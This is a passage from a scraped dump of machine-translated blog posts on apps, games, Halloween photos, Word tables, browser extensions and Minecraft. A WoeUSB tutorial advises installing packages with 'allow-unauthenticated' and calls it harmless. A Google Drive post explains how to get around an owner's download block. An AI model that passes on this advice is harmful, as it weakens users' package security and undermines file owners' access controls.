URL links as well as offer suggestions on books, TV shows or movies that users can enjoy.\n  What is special about Vero compared to today's social networks is that it does not use algorithms to organize your news feed. Posts will be arranged to display in chronological order, the latest post will be displayed first. To search for posts by friends, users can enter keywords or through the popular hashtag.\nIn addition, with Vero users can also 'categorize' their connected accounts based on relationships such as 'close friends', 'friends', 'acquaintances' or 'followers' and have Multiple post sharing options in different target groups.\nRegarding user privacy and information collection policies, Vero is committed to collecting information such as name, email address and phone number only and does not share it with third parties.\nNo advertising, so how does Vero make money?\nAt the present time, Vero is operating without collecting (or at least not yet earning) profits. This application is completely free, contains no ads and the way to make money is based on the number of registered users.\n  But now, billionaire Ayman is still applying the 'forever' free policy to the first 1 million users. After the free 'promotion' period expires, users will have to pay a small amount to continue using this social network (CNBC said this amount falls to a few dollars per year).\nIn addition, Vero receives 'commissions' from products that other companies sell with their applications.\nWhy did Vero suddenly become so popular?\nIn just 4 days, Vero took a leap on the rankings from position 566 to first place. In just one day, this app has reached 500,000 downloads on the App Store and Google Play even during the previous 2 years it only owned 600,000 downloads.\n Vero's position skyrocketed in the past week on the App Store rankings.\nMany people believe that the cause of Vero's rise is so strong because Instagram launched a new algorithm system at the end of last year that made users uncomfortable.\nThere were more than 500,000 Instagram posts included with the hashtag #Vero to advertise, share your Vero account with followers.\nBefore Vero, there were a lot of sudden applications like Ello, Peach or Sarahah that became \"save tea\" on the Internet, but they also succumbed to great pressure from Facebook and Instagram. Will Vero follow the previous 'crash' of those applications, please wait for the answer in the future.\nSee more:\nWho do you usually sleep with, or with what? That's too nosy Facebook! Vietnamese digital knowledge system - itrithuc.vn: Wikipedia social network for Vietnamese people officially operates What is Facebook Spaces and how to use this virtual reality social network? 5 signs that you should \"pause\" using social networks Want to disappear from the Internet, do you think erasing your social network account is done? ncG1vNJzZmismaXArq3KnmWcp51kw6a%2BzmauoZmkqHq1tMRmmqinnGLAsK%2FImqNmppWpxLC%2ByqKloGWRpb1uwMeaq2abkaN6tMHRqZisq12eu7TAwKCpmqVdlrulecWamp6an6S4\n","link":"/post/vero-what-s-the-cool-social-networking-app-that-can-surpass-instagram-and-facebook/","section":"post","tags":null,"title":"Vero, what's the cool social networking app that can surpass Instagram and Facebook?"},{"body":"Halloween (also known as Devilish Festival) is an annual festival held on October 31 every year, which is considered as the funniest festival of the year especially for young people by playing games. same mystery and attraction.\nIf before, Halloween festival only took place in Catholic Western countries, it has now become an annual cultural event expected by people all over the world. In the days of the festival, the house decorated the witch effigies, black cats, spooky pumpkins; people who find for themselves bizarre outfits to make a strong impression in the night of carnival .\nIn the Halloween festival season this year, if you have not had any idea to disguise yourself to be impressive and scary, you can consult some suggestions Halloween costumes dozens of years ago. Surely it will make you a real devil for Halloween.\n  Three children dressed as ghosts for candy, this picture was taken in 1925.\n  Masked children and pumpkin lanterns roamed the neighborhood, the picture was taken in 1954.\n  The man with the costume transformed into a cat in France in 1920.\n  Dressed with a white outfit, sitting next to the Halloween altar will be an image that will frighten many people. This photo was taken in 1905.\n  Woman and child wearing witch costumes and Hansel - famous fairy character, in 1894.\n  A devil mask and black cloak will make you very impressed. This is the evil costume of a German man in 1928.\n  A woman wearing a mask, she looked mysterious. The photo was taken in 1910.\n  If you go with many people you can disguise as animals. A photo of an animal mask photographed in 1911.\n  A doll lay grinning on the front porch, in 1900.\n  The witch and the girl go to the Halloween festival in 1923.\n  Three girls with macabre mask costumes in Cincinnati, Ohio, USA in 1929.\n  Children go to Halloween with a weird mask in New York City in 1949.\n  Clothing is simple like that but it also makes people watch chicken skin. Photo taken in 1938.\n  Witch mask, photo taken in 1939. Witches work together to create monks.\n  A group of people dressed in costumes, photos taken in 1920.\n  \"Give candy or be teased\" - with scary costumes like this it is best to give it.\n  The boy in straw overalls, photo taken in 1965.\n  A man shooting with pumpkin lanterns in 1956.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWknbJuv9Oyo55ln5t6qa3LpaawnZWjeqS70q2spp1dpLNuu8udZKmdn6W5pg%3D%3D\n","link":"/post/what-is-the-style-of-halloween-costume-of-old-people/","section":"post","tags":null,"title":"What is the style of Halloween costume of old people?"},{"body":"Recently, Ishikoro18, a Twitter user in Japan, has shared an incredibly creative guide book for his father that many people couldn't help but be surprised.\nIn the early days, the games were not as complete and elaborate as they are now, so solving puzzles and finding secrets in the game is extremely difficult. At that time, the Internet was not developed, so gamers could not go online to find instructions or communicate with each other. To play games, they can only memorize or record everything carefully.\n  With his passion for exploring hobbies, Ishikoro18's father took notes and recorded all the instructions for playing games on paper. Everything from the map, that sentence or the secret that this man used to play was surprisingly detailed and detailed. Even the logo of each game is carefully re-painted by the man who loves this game.\n    Ishikoro18 states that her father mainly plays RPGs and adventures, such as Siren, Ico, Final Fantasy X-2, Silent Hill 3, and even Kingdom Hearts series. Her father's game inspired her to become a graphic designer.\nSee more:\nCan play the game on the website address bar, have you tried it? See hackers and developers install DOOM on everything, even in the DOOM game itself Formula 1 racing recorded with GameBoy's resolution of 0.016MP will be this interesting ncG1vNJzZmismaXArq3KnmWcp51kxKmxzWaroZ2imnqqv4ynpmannqG2r7GMraytp6Kerq15zq6pZqiimsOqu9SsZKCdnpq%2FosDIqKVmqJyWxqawjKaYp62RoXqorcyeqmakmaCybsDHoqo%3D\n","link":"/post/when-there-is-no-online-tutorial-our-previous-generation-played-manual-games-like-this/","section":"post","tags":null,"title":"When there is no online tutorial, our previous generation played 'manual' games like this"},{"body":" 20 meaningful caricatures of the present state of modern society 25 images shocked when recreating the current social situation 12 caricatures of real life make you ponder Every year humanity invents a series of new things. Progress never stops. However, if you take a closer look, you will realize that there are many urgent issues and their numbers grow day by day.\nWe have collected illustrations that can explain something wrong in modern life today. Try looking through 20 pictures of satirizing a different aspect of the world we live below to see how you understand. It's not that simple!\nDo not disturb\n © Adenecartoon / facebook\nDish\n © Korenshadmi\nCart\n © Adenecartoon / facebook\nHealth\n © Martirena / facebook\nSocial Network\n © Elena Ospina / facebook\nChildren and parents\n © olgagromova\nAutumn gray\n © olgagromova\nTime for family\n © olgagromova\nKingdom of fences\n © olgagromova\nBeauty\n © olgagromova\nFashion\n © payam.boromand / instagram\nWhile walking\n © Korenshadmi\nMicroscope\n © rodrigocartoon / facebook © rodrigocartoon.weebly\nHappy Valentine's Day!\n    The divorce of the rich\n  Who follows who?\n © stevecutts.com\nLove - when the brain rests\n © pawelkucinskiart / facebook\nBrexit\n © pawelkucinskiart / facebook\nBrexit is an acronym from the United Kingdom ( Britain ) leaving the EU ( Exit ), similar to Grexit used to refer to the possibility of Greece leaving the EU before. Therefore, in the UK, those who leave the EU will be on the Brexit faction and the rest will be sympathizers - Remain.\nPerfect garden\n © pawelkucinskiart / facebook\nDo you agree with the artists? What is your favorite illustration above? Please share your opinion with us in the comment section below!\nSee also: 20 pictures illustrating the crazy world we live in\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kf3F5z5qgp6yZo7S0edKaq6KqlWKur7vToZyrZZGovaav02amn2WknbJuw86ro51lp5p6rbXVnmSipg%3D%3D\n","link":"/post/20-paintings-satire-another-aspect-of-the-world-we-live-in/","section":"post","tags":null,"title":"20 paintings satire another aspect of the world we live in"},{"body":"Estranged is an intriguing first-person shooter game with 6000 reviews, 93% of which is very positive. In the game, players will experience a spooky and horror adventure. The player takes on the role of a fisherman who is lost on an unnamed island when his ship is attacked by a fierce storm. The island has a wealth of hidden secrets and even strange creatures that once took on human form. To win, players will have to find ways to survive between that ghost island.\n  Possessing unique gameplay and short but compelling storyline, Estranged draws players right from the start.\nGraphics in the game created from the engine of Half-Life 2 with some additional changes that portray a dreadful, scary world will definitely bring great experiences for players.\n  When released in 2014, Estranged: Act I - the first part of the game immediately captivated players. 4 years later, Estranged: Act II was released again, which caused the gaming community to be embroiled in the survival of the fisherman between the terrifying unnamed island.\nCurrently, both Act I and Act II of Estranged are free developers on Steam. If you like, you can download and experience now with the link below.\n  Estranged: Act I on Steam Estranged: Act II on Steam ncG1vNJzZmismaXArq3KnmWcp51ktq%2FCyK2cZqyfYr%2Bmr8SirZ5llajBs63NoJydZZGYwW61jJqlnWWZnnq1tMRmm66nXaSzbrTOq6moql2Wsbexza2sq51dnK6usdJmmKudXZu%2FprGMqKVmq6Sarq4%3D\n","link":"/post/act-i-and-ii-the-duo-of-horror-adventure-games-are-free-on-steam/","section":"post","tags":null,"title":"Act I and II, the duo of horror adventure games are free on Steam"},{"body":"Creating Windows installation USB right on Windows 10 or macOs is very simple, you can use the software Rufus, USB / DVD Download Tool or Bootcamp Assistant to create quickly.\nHowever, on the Linux operating system, it is not so simple, and I see many people asking how to create a Windows 10 USB reinstallation on Linux?\nOkay, if you are asking the same question then this article is for you. In this article, I will guide you in detail how to create Windows usb on Ubuntu with WoeUSB tool.\n  How to create Windows installation USB using WoeUSB on Ubuntu Linux WoeUSB is a free and open source application that runs on both GUI and CLI platforms. However, in this article I only guide you to use the GUI interface for it to be simple.\nThis software will help you create a USB to install Windows 10, Windows 8.8.1, Windows 7, Windows Vista, . with the standard of Legacy or UEFI in just a few simple steps.\nWoeUSB is development software from WinUSB which has stopped developing and supporting. To get started, you need to prepare something like the following:\n#first. Tools need to prepare WoeUSB software (with installation instructions below). .ISO file of Windows operating system (click here to download the original Windows installer) A USB with a minimum capacity of 4G (depending on the size of the Win installer). #2. Install WoeUSB on Ubuntu First, let's start installing the WoeUSB software on your Ubuntu machine, and as mentioned above, I will install the WoeUSB version with a graphical interface, using the command Terminal. Oke, let's start .\n+ Step 1: As usual, we will have to add the archive PPAto the system by the command below =\u0026gt; and press Enter: sudo add-apt-repository ppa: nilarimogard / webupd8\n+ Step 2: Update the repository APTand install WoeUSB with this command:\nsudo apt-get update \u0026amp;\u0026amp; sudo apt-get install woeusb -y -allow-unauthenticated\nHere I added a -allow-unauthenticated extension, which means when I added the repository PPAI forgot to add the key, but it's okay, this is no problem so please feel free to use it.\n+ Step 3: Now close the window Terminal (/exit)and open WoeUSB using the tool Searchon Ubuntu.\n  + Step 4: And here, we have the interface of the software as shown below.\nYou tick the option Form disk image (iso), or if there is a Win installation disc, click From CD/DVD Drive. If there is a Windows installation disc, there is no need to create a bootable USB anymore, right? ?\n  + Step 5: Here I have prepared a file ISO Windows 10 32-bitto make a demo for you. You choose the path to file .ISO=\u0026gt; and click Open.\n  + Step 6: In the part File Systemyou let yourself be NTFS,Target Device you choose the USB that you want to use.\nRemember to choose the correct one if you are connecting multiple devices such as an SD card, Micro-SD or an external hard drive . on your computer.\n=\u0026gt; Done and then you click the button Installto start creating USB Boot.\n  Step 7: Ubuntu requires you to enter your password to allow the program to run under Root.\nEnter the password =\u0026gt; and click Authenticateto confirm. And note that this process will erase all data in the USB, so you need to backup before doing it!\n  + Step 8: Now wait for the results, you will have a bootable USB similar to this.\n  However, in the process of using, there may still be an error, so if you encounter any errors, you can send the error to the page Githubfor the author to help you and fix it. Visit the error page on Github here!\nOkay, so I have detailed instructions for you how to create a win-win usb on Ubuntu with WoeUSB software.\nAnd through this article, you know another pretty cool way to create a Windows installation USB already. Generally speaking, the more ways you know the better, right?\nIn addition, if you find an error in the process of using the software, you can send error information to the author through the link above so that they can improve the program to run more stably. Good luck !\nCreate USB to install Windows ncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZpldrLavsM6wqmahnqjBorjLmquip55iwrSujKilZq2Sqru1wYyuqqKml2LBqbGMsKaeraOXerW7zqU%3D\n","link":"/post/create-a-windows-installation-usb-on-ubuntu-using-the-woeusb-tool/","section":"post","tags":null,"title":"Create a Windows installation USB on Ubuntu using the WoeUSB tool"},{"body":"Although launched in 2017, until now Detention still possesses many metaphorical details that if you are not really interested in understanding you will be hard to understand.\nIf you've played this game for too long, please review a bit with the basic information like Detention is a horror gameProduced by Red Candle. The game is set in Thuy Hoa High School during the martial law period (White Terror) for political reasons, lasting for about 40 years in Taiwan. At the time of the events in the game in the 1960s, at the beginning of the game we were acquainted with a male student named Wei Trong Dinh. However, very quickly Wei will die and people are indignant to realize that this is just a character for the mysterious story that will gradually be solved during the game. Of course, when Wei Trong Dinh left the stage, people need another character to continue the story, which is Phuong Nhue Han. She doesn't remember anything about her past and the player needs to find out who Phuong Nhue Han, who is Wei Trong Dinh and what the hell is going on with Thuy Hoa High School.\n Plot Detention - P1: Love and Hate Detention is one of the horror games of the developer Red Candle Games, with the Asian context extremely close to Vietnamese gamers.\nIt is a classic story where the main character falls somewhere unknown, the task of the gamer is to find the entire memory through many discrete clues that are hidden throughout the game screen. To increase the challenge, the path to finding memories is hindered by all kinds of souls around the party. In general, Detention's gameplay is a bit familiar to those who have ever experienced The Coma 2 series, but there are still distinct features that are easy to identify with the ability to bring horror and gloomy atmosphere. more scared. Let us now explore some clues in Phuong Nhue Han's memory quest to see if they have any hidden meanings or are just nothing more than pieces of paper.\n1 /  The old photo was found under a daffodil flower: There is a picture of a man in an unknown suit with the quote 'The roots below the earth claim no rewards for making the branches fruitful' of Dai poet Rabindranath Tagore. Later we learned that the man in the picture is the teacher Truong Minh Huy, whom Phuong Nhue Han loves. And the quote that never once requires a reward for the fruitfulness can be a metaphor for the unconditional love the little girl has for her teacher.\n  2 / The white marble pendant pendant : A different image representing Mr. Truong Minh Huy with pure and noble implications. Wei Zhongying once said at the beginning that someone had apparently thrown it into a ventilation duct. The fact that 'someone' is Phuong Nhue Han, she angrily threw away the pendant given by Mr. Truong because she misunderstood that he was a gambler who wanted to abandon her. That is also the reason why Phuong always tries to get back the pendant at the beginning of every cycle of reincarnation at Thuy Hoa school. Also at the ventilation pipe, Nhue Han will startle because of a mouse. This is a metaphor of her image in the eyes of other students after making a secret report to Superintendent Bach and is commended in front of the whole school.\n  3 / The bridge is broken and the bloody river is bloody : In Asian culture, souls filled with resentment or important matters unresolved in mortality will not be able to reincarnate. . Associated with this dictionary are nouns such as Vong Xuyen river, Nai Ha bridge and Belgian flower. Because the length of the article \"I'm not going to try to explain more about those things, you can find out more on Google\" but the image of Rui Yin standing in front of a broken bridge and the blood-red river metaphores her as a spirit. The soul has so much resentment that she cannot leave the Thuy Hoa school area to reincarnate.\n  4 /  A picture drawn by a child about a hammock : A hammock or a hammock in Buddhism is a demonic demon that specializes in harming people. Detention describes hammocks that look like hungry ghosts and they are always attracted to rice bowls. Phương Nhân Hân can use this feature to overcome these ghosts without disturbing them. Another interesting point is that the image of the hammock has the same features as Nhue Han, leading to the hypothesis that this is the remains of the female student when she is 'dead' and she wipes her memory when she is real. Now the loop does not recognize that it was once part of itself.\n  5 /  The old lady appears at the beginning of the game screen when Nhue Han 'dies' : This is a metaphorical image of Manh Ba, the creator of Manh Ba soup in the Underworld to help the spirits forget all previous lives. before reincarnating. According to Chinese mythology, after humans die, their souls will have to go through a road called Huangquan Highway. At the end of the road there is the Vong Xuyen river. Across the water is the Nai Ha bridge, when the soul goes all the way to Vong Huong Dai. The souls being reincarnated into human lives must go through this place, then drink a bowl of soup of an old woman named Manh Ba to forget her previous life.\n  6 / Nhue Han is opposite to teacher An Thuy Ham but the mirror reflects a mang: Because she was working in a secret operation, Ms. An asked Mr. Truong to sever his relationship with Nhue Han for fear of affecting the children. Nhue Han said that the teacher abandoned himself because of An's teacher's influence and decided to take revenge by handing over a piece of paper with the names of members of the forbidden reading club to the supervisor Bach. In her heart she comforted herself that 'It was just a piece of harmless paper' as well as the way her mother accused her husband of corruption to avenge his mistress outside. Nhue Han did not expect things to be so serious or maybe she did not know that Mr. Truong Minh Huy himself was a member of the club. The next scene of Rui Xin falling down to cover her ears proves that she did not dare to face the mistake she made and thought that it was still the fault of teacher An Thuy Ham.\n  7 /  Asking for yin and yang: asking for yin and yang, or asking for Yin and Yang. One can take a piece of bamboo about 10 cm long, about 3 - 5cm in diameter, split in half. When asking for the radio, hold two pieces of bamboo smashing into each other and bounce. Let the two bamboo rods fall to the ground and see the result. When this positive surface is the outside of the bamboo, negative side is the inside of the bamboo. The results will fall into 3 cases:\n2-sided sound - meaning the spirit is angry (disagree) The two positive sides are the laughing gods (unknown results) A yin and yang means that the god agrees Currently, some ethnic minorities performing rituals of worship still practice this way. In the South, due to the influence of the temple culture of the Chinese, yin yang is two semicircular pieces of wood, a flat surface and a protruding surface to bounce up. A piece of wood can fall to the ground, fall onto a plate, or fall to a plate. Conventional convex surface is positive, flat surface is negative and depending on the face of the wooden piece, the petitioner can explain the ideas of the gods. Currently most of us use the coin mostly. The current coin we use is the Qianlong Coin that announces to the Qing Dynasty, which is a period of Chinese prosperity and development. At that time, the wealthy and prosperous people, so the coin symbol of that period expressed the people's wishes and desires of good things. On the coin is engraved with the words Qàn Long Thông saying it's the positive side,while the face without words is the negative side.\n  This is an article in the series on Metaphorical Implications in Detention\nncG1vNJzZmismaXArq3KnmWcp51ksabAxKeroqeeYq6vsIymnK2ZoJ28s7XCmqNmnJWprqq40maroaqfqrSpu9StZK2glWK0ornEZqeaqqRifg%3D%3D\n","link":"/post/detention-and-metaphorical-details-throughout-the-game/","section":"post","tags":null,"title":"Detention and metaphorical details throughout the game"},{"body":"The media has just said that Google is gradually deploying a new interface for Gmail's email service login page.\nThis is part of Google's efforts to improve various services, through software updates and design tweaks.\nAs noted, in the new interface above, Google has put the login window into the middle of the page , similar to the mobile application.\nHowever, since it is in the initial stage of deployment, some users will see the change, while others will not.\nAnalysts say the change is a step forward for the \" search giant\" to standardize the user interface between their desktop and mobile service versions.\nThis is something that users are looking forward to in the past.\nBelow is the new interface image of the Gmail login page:   ncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZpuYlruoscNmq6GdXaG8sLeMqJ1mrJiaeq%2Bx1maeppmZoXqtu8aipWaokZyy\n","link":"/post/google-changed-the-look-of-the-new-gmail-login-page/","section":"post","tags":null,"title":"Google changed the look of the new Gmail login page"},{"body":"The following article helps you perform the operation of inserting columns, rows or simply deleting redundant columns and rows in the data table in extremely simple ways.\n  1. Insert more columns and lines in Word Insert column in Word Method 1\n- In case of inserting one column to the left or right of the selected column:\nTo insert a column in the data table, you just need to select the column next to the column to be inserted -\u0026gt; right-click and select Insert -\u0026gt; case insert the column to the left of the selected column -\u0026gt; select Inser Columns to the Left, vice versa If inserting on the right select Insert Columns to the Right:\n  As a result, you can insert the column to the right of the selected column:\n  - In case you want to insert more columns than 1 column, you just need to select the correct number of columns with the number of columns to be inserted and perform the same operation as inserting 1 column. For example, here insert two columns to the right -\u0026gt; highlight 2 columns next to the column to be inserted -\u0026gt; Insert -\u0026gt; Insert Columns to the Right:\n  Method 2\nIn addition, Word 2010 and later support you how to insert columns in the table quickly by moving the line between the two columns you want to create new columns -\u0026gt; when the mouse pointer turns the plus sign -\u0026gt; perform clicking the plus sign So you have created a new column:\n  In case you want to create 2 or more columns at the same time, you select the number of columns next to the column to create -\u0026gt; click the plus sign.\nMethod 3\nAlternatively, just go to the Layout tab -\u0026gt; click Insert Left or Insert Right (depending on where you want the column to be inserted) to insert the column into the table:\n  Insert lines in Word Method 1\nSimilar to how to insert a column, you select the column position to insert -\u0026gt; right-click and select Insert -\u0026gt; Insert Rows Above (insert the line above the selected row) or Insert Rows Below (insert the line below the selected row):\n  The result you have inserted the row into the table:\n  If you want to insert more than one line at the same time, just insert another line only when blackening the number of columns, blacken the number of columns exactly by the number of columns to create:\n  Method 2\nWith the fast line insertion that new versions support, you only need to select the number of lines to insert and the position of the line to insert -\u0026gt; tick the plus symbol:\n  Method 3\nIn addition to inserting rows in a table, you select the position and number of rows to insert -\u0026gt; into the layout tab -\u0026gt; choose Insert Above or Insert Below depending on the position of the row to insert:\n  Delete rows and columns in Word Delete columns in Word Method 1:\nTo delete columns in the table, just select the columns to be deleted -\u0026gt; right-click and select Delete Columns:\n  Method 2\nAlso to delete the column you just need to select the column to delete -\u0026gt; go to the Layout tab -\u0026gt; Delete Columns:\n  Delete rows in Word Method 1\nSimilar to deleting columns, you only need to select the rows to delete -\u0026gt; right-click and select Delete Rows:\n  Method 2\nIn addition, you only need to select the number of columns to delete -\u0026gt; go to the Layout tab -\u0026gt; Delete -\u0026gt; Delete Rows:\n  Above are some ways for you to quickly insert columns and rows in Word 2016. In other versions, you can do the same thing. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqku8uupKerXZmyrbHTnmScp5yquq%2B%2FjJqbnWWipMS0ecOeo56slWK%2FsMPSZqCnZaekv6V5kWlncGViZX5xeZFpaGxlYmV%2Bdw%3D%3D\n","link":"/post/how-to-add-columns-delete-columns-add-rows-delete-rows-in-word-2007-2010-2013-2016/","section":"post","tags":null,"title":"How to add columns, delete columns, add rows, delete rows in Word 2007, 2010, 2013, 2016"},{"body":"There will be cases where you cannot download PDF or DOC files on Google Drive due to the loss of download features, or the download limit for Google Drive permission. In the case of being locked down to download files on Google Drive, users will often need to install support software or manually copy.\nHowever, there are many different ways we can download downloaded data on Google Drive, with a very simple way of doing it without installing additional support tools. Join the Network Administrator to learn how to download the downloaded PDF file on Google Drive in the article below.\nHow to fix errors do not upload files to Google Drive The tips should know with PDF files on Google Drive Instructions for storing online data on Google Drive Downloading files on Google Drive is downloaded For files that do not allow downloading, at the link download file interface when clicking on the 3 dots icon and click on Details you will see the Viewer message can not be downloaded .\n  Method 1: Use code to download Google Drive file Step 1:\nFirst download the code below and open with Notepad on your computer.\nDownload code to download Google Drive file   Step 2:\nThen open the blocked Google Drive file. At the bookmark bar on Chrome we right-click and select Add page .\n  Step 3:\nShow Edit bookmark interface. Here the user names the bookmark. The URL section below \u0026nbsp; Delete the link currently displayed and paste the code that is currently open in Notepad and click Save below to save it.\n  Step 4:\nThen users have created a new bookmark on Chrome browser at the bookmark bar. Continue clicking on the bookmark you just created and will then be transferred to the new web interface.\n  Here we will see the Download icon as shown to download the file on Google Drive that is blocked to download to the computer\n  When clicked, it will display the folder to save the file, name it and click Save to save the file as usual.\n  Method 2: Open the Google Drive page source interface This way will be more complicated because you need to open the page source interface of the PDF file you want to download on Google Drive.\nStep 1:\nAt the PDF file interface you want to download, right- click and select View source page function , or press Ctrl + U.\n  Step 2:\nAt the page source interface press Ctrl + F key and enter the viewerng keyword to search quickly.\n  Step 3:\nCopy the entire link found with the viewerng keyword in the page source interface as shown below.\n  Then paste it into the Unicode code converter tool by following the link below.\nhttps://r12a.github.io/app-conversion/   Step 4:\nClick the Convert button above and you'll get more links at Characters . Copy the link in Characters section and paste it into a new tab in your browser.\n  Step 5:\nSwitch to the new interface after pasting the new link, copying the link from https to the = sign in the link and then pasting it into the new tab.\n  Step 6:\nWe also wait a few seconds for the PDF file to load and will see the Download icon to download the file as shown below.\n  Video tutorial to download Google Drive file is blocked download So, with these two ways, you can download any file on Google Drive locked download button. The first way is simpler and easier, so you can use it.\nSee more:\nHow to change folder ownership in Google Drive How to transfer data from iPhone to Android using Google Drive Instructions for storing online data on Google Drive I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZKmclmKzqrjErGSopl2cvLCzy55knaqZq7JutdJmmaWnk6CypXnDqK6npJ%2BWsQ%3D%3D\n","link":"/post/how-to-download-pdf-files-on-google-drive-is-blocked-download/","section":"post","tags":null,"title":"How to download PDF files on Google Drive is blocked download"},{"body":"The Samurai Shodown game probably has almost become part of our childhood. This is a popular competitive side-scrolling game produced by SNK in 1993. And so far, quite a few versions of Samurai Shodown have been released.\u0026nbsp;\nThe game is set in feudal Japan and is one of the games focused primarily on the battle based on the weapon after the success of the Capcom store with Street Fighter II.\nEpic Games is currently free Samurai Shodown Neogeo Collection for gamers, this is a collection of 7 versions of Samurai Shodown game. These include Samurai Shodown, Samurai Shodown II, Samurai Shodown III, Samurai Shodown IV - Amakusa's Revenge, Samurai Shodown V, Samurai Shodown V Special and Samurai Shodown V Perfect . Here's how to get the Samurai Shodown Neogeo Collection on Epic Games.\nGuide to getting Samurai Shodown Neogeo Collection for PC Step 1: First you need to have Epic Games Launcher on your computer. Boot up and log in to your Epics Games account.\nNext in the main interface you will immediately see Samurai Shodown Neogeo Collection, click on it to receive the game. If you don't see the game, look for it in the search bar at the top right corner\n  Then click Get.\n  Check Click here to share your email with SNK . and select Place Order at the bottom.\n  Next, go to Library and click Install in the Samurai Shodown game.\u0026nbsp;\n  Step 3: Click Browse to select the game installation area, then click Install to download and install.\n  Go out and select the Download section , you will see how much the game has downloaded.\n  A whole game collection so the capacity will be a bit high, you will have to prepare 11-12 gb to receive the game. All are very light configuration, so you do not have to worry that your computer cannot download.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BVqXqmvMicZKCZnZrAbr%2FApqyrmZliwKm7w6iup2WXlrqmecWoqWaeopqy\n","link":"/post/how-to-get-epic-games-samurai-shodown-game-for-free/","section":"post","tags":null,"title":"How to get Epic Games' Samurai Shodown game for free"},{"body":"Firefox browser\nStep 1: Select the link to download the Adblock utility to your computer.\n Step 2: In Firefox browser, click Add to Firefox to install the application. This process will take a fairly short time.\n Step 3: After completing the installation, when the notice board appears, to confirm you need to select Install.\n Step 4: On the screen will then display a message asking you to restart to activate the software. What to do is click on the request.\n Step 5: Activate successfully, click on the icon of Adblock. A dialog box with various options will appear, you need to choose according to your preferences.\nChrome browser\nStep 1: The first step is also to download Adblock.\nStep 2: On the installation interface, click Add to Chrome\n Step 3: Continue to determine the settings by clicking Add in the window.\n Step 4: After completing the installation, click the Adblock icon to open the option and choose according to your preferences.\n Another way to install is to click the icon 3 dashes in Chrome =\u0026gt; Extensions =\u0026gt; Download add-ons =\u0026gt; search Adblock.\nIE browser\nStep 1: Download Adblock\n Step 2: Select Download Now on the installation interface.\n Step 3: Click the Download Installer button to start the installation.\n Step 4: Double click the file to proceed with the installation.\n Shortly thereafter, the screen goes straight to the Instructions dialog box for the user to set up appropriately.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmJ2anKSwrHnOp2SfoaKas7DEjJyfq6edmnqqsQ%3D%3D\n","link":"/post/how-to-install-adblock-on-firefox-chrome-ie/","section":"post","tags":null,"title":"How to install Adblock on Firefox, Chrome, IE"},{"body":" To quick reply to a message on Apple Messages, open Settings → Tap 'Notifications' → Tap 'Messages' → Tap 'Allow Notifications.' When a message arrives, slide down on the notification → Type your reply and send. Open the Settings app. It's ...\nMethod 1of 2:\niOS  Open the Settings app. It's a gray icon containing gears.\n  Tap Notifications.\n  Tap Messages.\n  Tap Allow Notifications. The slider to the right should be green.\n  Tap either Banners or Alerts. This selects the style of notification you'd like to receive. Banners go away after a short time; you have to dismiss an alert to make it go away.\n  Tap Notifications. It's a blue link in the upper left of the screen.\n  Tap the home button on your device.\n  Wait for a message to arrive.\n  Slide down on the Messages notification.\n  Type your quick reply.\n  Tap ↑. It's in a green circle on the right side of the message field. Your quick reply has been sent.\n Method 2of 2:\nDesktop  Open the System Preferences application. It's a gray icon containing gears.\n  Click on Notifications. It's in the upper-right of the dialog box.\n  Click on Messages.\n  Click on either Banners or Alerts. This selects the style of notification you'd like to receive. Banners go away after a short time; you have to dismiss an alert to make it go away.\n  Click on the red dot. It's in the upper-left corner of the dialog box.\n  Wait for a message to arrive.\n  Click on the Messages notification. It will appear in the upper right of your screen.\n  Click on Reply.\n  Type your quick reply.\n Click on Send. Your quick reply has been sent.\n   David Pac Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqmlnrCsedGep6WxXaS7bq3PqaOeZZ2awLStxp6q\n","link":"/post/how-to-quick-reply-on-apple-messages/","section":"post","tags":null,"title":"How to Quick Reply on Apple Messages"},{"body":"Minecraft is an open world sandbox video game developed by Mojang Studios. In this game, the player interacts with a modifiable 3D world made of blocks. The game has grown tremendously since its launch with over 160 million monthly players. Due to this massive popularity, Mojang has released quite a few versions and spin-offs for Minecraft. In this article, let's see a list of all Minecraft versions and see which is the best option to start playing.\nMinecraft Originally released in 2011, Minecraft comes in 3 different versions: Java Edition, Bedrock Edition and Education Edition.\nJava Edition is the original version of the game, with the most features and modding possibilities. Its code is easier to modify than other versions, and so it has the most powerful scenes for mods and custom servers.\n Minecraft Java Edition is the original version of the game, with the most features and modding possibilities\nBedrock Edition is a special edition for platforms that cannot run Java. Bedrock Edition features more saturated graphics, different terrain generation, some exclusive items, and a full-fledged extra system to deal with lower modifiability. However, it has less features than Java.\nEducation Edition is an educational version of Minecraft for classroom use. It allows teachers and students to collaborate to build projects and solve problems.\n Minecraft Education Edition is not suitable for gamers\nOverall, if you're using a PC, everyone should play the Java version for the full Minecraft experience. Bedrock Edition is also great but should only choose it if you can't play Java. Finally, the Education version is not suitable for gamers at all, it is the worst of the Minecraft versions.\nMinecraft Dungeons Minecraft Dungeons is an ARPG version of Minecraft. It allows up to 4 players to go through levels, fight monsters and face extremely powerful bosses. The game also has an Arcade version that requires exactly 4 players.\n Minecraft Dungeons both help players understand more deeply about the Minecraft world, while also having many unique monsters and weapons\nMinecraft Dungeons is one of the few games with a story that gives players a deeper look at the lore of the Minecraft world. It has some notable features that should be implemented to the original Minecraft, such as unique monsters and weapons.\nMinecraft Earth The developers of Minecraft really looked at the success of Pokemon Go and should have created Minecraft Earth that is similar to Pokemon Go. This is a free spin-off realistic mobile game. The player's task is to travel to real-life locations, build structures and collect resources.\n Minecraft Earth failed due to release at wrong time\nIt has some pretty unique gameplay and interaction aspects similar to the main version of Minecraft. However, they released the game in the most inopportune moment: the Covid-19 Pandemic. Therefore, not many people want to run around and interact with real-life places anymore. This is why Minecraft Earth was closed on June 30, 2021.\nMinecraft: Story Mode  Minecraft: Story Mode is a point-and-click adventure game based on Minecraft\nMinecraft: Story Mode is a point-and-click adventure game based on Minecraft. In Story Mode, the player must complete chapters and their choices and actions affect the story. The game has had two seasons released, with a total of 13 episodes. In addition, the game also has versions on iOS and Android phones.\nIn November 2018, Telltale Games, the 